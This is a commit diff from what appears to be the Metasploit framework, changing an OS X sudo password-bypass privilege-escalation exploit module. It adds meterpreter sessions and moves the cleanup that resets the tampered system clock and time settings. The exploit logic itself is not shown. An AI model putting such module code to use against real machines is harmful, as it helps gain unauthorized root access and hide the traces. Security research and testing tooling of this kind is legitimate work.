Delete on_new_session cleanup, as discusses with @jlee-r7

Author: jvazquez-r7

modules/exploits/osx/local/sudo_password_bypass.rb

@@ -58,7 +58,7 @@ def initialize(info={})
 				],
 			'Platform'      => 'osx',
 			'Arch'          => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
-			'SessionTypes'  => [ 'shell' ],
+			'SessionTypes'  => [ 'shell', 'meterpreter' ],
 			'Targets'       => [
 				[ 'Mac OS X x86 (Native Payload)',
 					{
@@ -145,13 +145,19 @@ def exploit
 	end
 
 	def cleanup
-		do_cleanup_once(session)
-		super
-	end
+		print_status("Resetting system clock to original values") if @time
+		cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
+		cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
+		cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
+
+		if @networked
+			cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
+			unless @network_server.nil?
+				cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
+			end
+		end
 
-	def on_new_session(session)
-		do_cleanup_once(session)
-		super
+		print_good("Completed clock reset.") if @time
 	end
 
 	private
@@ -196,27 +202,6 @@ def run_sudo_cmd
 
 	end
 
-	# cmd_exec doesn't allow to get a session, so there is no way to make the cleanup
-	# from the new privileged session, when called from the on_new_session callback.
-	def do_cleanup_once(session)
-		return if @_cleaned_up
-		@_cleaned_up = true
-
-		print_status("Resetting system clock to original values") if @time
-		session.shell_command_token("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
-		session.shell_command_token("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
-		session.shell_command_token("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
-
-		if @networked
-			session.shell_command_token("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
-			unless @network_server.nil?
-				session.shell_command_token("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
-			end
-		end
-
-		print_good("Completed clock reset.") if @time
-	end
-
 	# helper methods for accessing datastore
 	def using_native_target?; target.name =~ /native/i; end
 	def using_cmd_target?; target.name =~ /cmd/i; end